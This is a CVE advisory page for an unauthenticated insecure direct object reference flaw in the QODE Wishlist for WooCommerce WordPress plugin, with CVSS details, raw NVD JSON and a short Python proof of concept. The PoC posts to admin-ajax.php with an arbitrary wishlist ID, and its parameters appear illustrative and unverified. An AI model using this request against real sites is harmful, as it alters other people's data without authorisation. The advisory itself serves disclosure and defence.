Security Vulnerability Report
中文
CVE-2025-13157 CVSS 5.3 MEDIUM

CVE-2025-13157

Published: 2025-11-27 07:15:55
Last Modified: 2026-04-15 00:35:42

Description

The QODE Wishlist for WooCommerce plugin for WordPress is vulnerable to Insecure Direct Object Reference in all versions up to, and including, 1.2.7 via the 'qode_wishlist_for_woocommerce_wishlist_table_item_callback' function due to missing validation on a user controlled key. This makes it possible for unauthenticated attackers to update the public view of arbitrary wishlists.

CVSS Details

CVSS Score
5.3
Severity
MEDIUM
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:N

Configurations (Affected Products)

No configuration data available.

QODE Wishlist for WooCommerce plugin <= 1.2.7

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
# CVE-2025-13157 PoC - IDOR in QODE Wishlist for WooCommerce # Target: WordPress site with QODE Wishlist for WooCommerce plugin <= 1.2.7 import requests import json target_url = "http://target-wordpress-site.com" # Find the AJAX endpoint for wishlist operations ajax_endpoint = f"{target_url}/wp-admin/admin-ajax.php" # Step 1: Identify target wishlist ID (could be enumerated or known) target_wishlist_id = "12345" # Replace with actual wishlist ID # Step 2: Exploit IDOR to modify wishlist visibility payload = { "action": "qode_wishlist_for_woocommerce_wishlist_table_item_callback", "wishlist_id": target_wishlist_id, "visibility": "public" # Change to public or manipulate other settings } # Step 3: Send unauthenticated request response = requests.post(ajax_endpoint, data=payload) print(f"Status Code: {response.status_code}") print(f"Response: {response.text}") # Note: This PoC demonstrates the IDOR vulnerability where an unauthenticated # attacker can modify arbitrary wishlist settings by changing the wishlist_id parameter

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2025-13157", "sourceIdentifier": "[email protected]", "published": "2025-11-27T07:15:54.943", "lastModified": "2026-04-15T00:35:42.020", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "The QODE Wishlist for WooCommerce plugin for WordPress is vulnerable to Insecure Direct Object Reference in all versions up to, and including, 1.2.7 via the 'qode_wishlist_for_woocommerce_wishlist_table_item_callback' function due to missing validation on a user controlled key. This makes it possible for unauthenticated attackers to update the public view of arbitrary wishlists."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:N", "baseScore": 5.3, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 3.9, "impactScore": 1.4}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-639"}]}], "references": [{"url": "https://plugins.trac.wordpress.org/browser/qode-wishlist-for-woocommerce/trunk/inc/wishlist/shortcodes/wishlist-table/helper-ajax.php#L95", "source": "[email protected]"}, {"url": "https://plugins.trac.wordpress.org/changeset/3402469/", "source": "[email protected]"}, {"url": "https://www.wordfence.com/threat-intel/vulnerabilities/id/b15d1992-ecf9-4253-b832-056b34f42b48?source=cve", "source": "[email protected]"}]}}